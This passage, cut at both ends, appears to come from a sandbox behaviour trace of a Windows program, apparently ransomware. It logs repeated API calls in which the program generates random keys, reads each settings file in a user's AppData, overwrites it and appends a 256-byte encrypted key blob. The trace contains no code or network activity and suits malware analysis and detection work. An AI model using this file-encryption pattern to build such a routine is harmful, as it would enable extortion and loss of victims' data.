lpNumberOfBytesWritten=0x2e1f9bc*=0x392, lpOverlapped=0x0) returned 1 [0194.791] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x392 [0194.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.792] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.792] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.792] CloseHandle (hObject=0x1c24) returned 1 [0194.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.794] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{B0B4886C-4B31-4824-ADCD-0DAF5C8BAFF6}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.795] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ad, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ad, lpOverlapped=0x0) returned 1 [0194.796] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-941, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.796] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ad, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ad, lpOverlapped=0x0) returned 1 [0194.796] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ad [0194.796] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.797] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.797] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.797] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.797] CloseHandle (hObject=0x1c24) returned 1 [0194.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.801] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{AF3BA0EC-B240-401E-B4EE-3E89F275205B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.801] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x42a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42a, lpOverlapped=0x0) returned 1 [0194.834] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.834] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x42a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42a, lpOverlapped=0x0) returned 1 [0194.834] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42a [0194.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.835] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.835] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.835] CloseHandle (hObject=0x1c24) returned 1 [0194.837] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.837] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0194.837] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{AAF384A9-978C-41B6-B394-0C40C2EAAA4B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.838] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c4, lpOverlapped=0x0) returned 1 [0194.839] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-964, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.839] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c4, lpOverlapped=0x0) returned 1 [0194.839] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c4 [0194.840] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.840] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.840] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.840] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.840] CloseHandle (hObject=0x1c24) returned 1 [0194.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.842] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{AACA901F-E74F-4894-B074-F55059532853}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.843] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42c, lpOverlapped=0x0) returned 1 [0194.860] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.860] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42c, lpOverlapped=0x0) returned 1 [0194.861] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42c [0194.861] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.861] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.861] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.862] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.862] CloseHandle (hObject=0x1c24) returned 1 [0194.863] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0194.864] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{AA9D2032-E8FB-4f8c-99C9-09F539AEBD59}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.864] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3bd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bd, lpOverlapped=0x0) returned 1 [0194.866] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.867] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3bd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bd, lpOverlapped=0x0) returned 1 [0194.867] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bd [0194.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.868] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.868] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.869] CloseHandle (hObject=0x1c24) returned 1 [0194.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.870] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{a8a91a66-3a7d-4424-8d24-04e180695c7a}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.871] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x35a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x35a, lpOverlapped=0x0) returned 1 [0194.873] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-858, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.873] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x35a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x35a, lpOverlapped=0x0) returned 1 [0194.874] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x35a [0194.874] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.874] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.874] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.874] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.875] CloseHandle (hObject=0x1c24) returned 1 [0194.878] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.879] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.879] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{A73DCDB5-E233-4FC2-8083-6E431939002A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.879] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x47d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47d, lpOverlapped=0x0) returned 1 [0194.886] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.887] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x47d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47d, lpOverlapped=0x0) returned 1 [0194.887] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47d [0194.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.887] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.888] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.888] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.889] CloseHandle (hObject=0x1c24) returned 1 [0194.890] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.890] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.890] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{A7160DE5-E591-4D98-9BB0-0CAC99D5F2D5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.891] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d3, lpOverlapped=0x0) returned 1 [0194.892] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-979, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.892] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d3, lpOverlapped=0x0) returned 1 [0194.893] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d3 [0194.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.893] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.893] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.894] CloseHandle (hObject=0x1c24) returned 1 [0194.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.895] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.896] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{a3dd4f92-658a-410f-84fd-6fbbbef2fffe}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.896] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x34b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x34b, lpOverlapped=0x0) returned 1 [0194.900] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-843, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.900] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x34b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x34b, lpOverlapped=0x0) returned 1 [0194.900] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x34b [0194.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.900] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.901] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.901] CloseHandle (hObject=0x1c24) returned 1 [0194.903] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.903] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.903] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{a0275511-0e86-4eca-97c2-ecd8f1221d08}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.903] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x363, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x363, lpOverlapped=0x0) returned 1 [0194.912] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-867, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.912] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x363, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x363, lpOverlapped=0x0) returned 1 [0194.913] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x363 [0194.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.913] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, 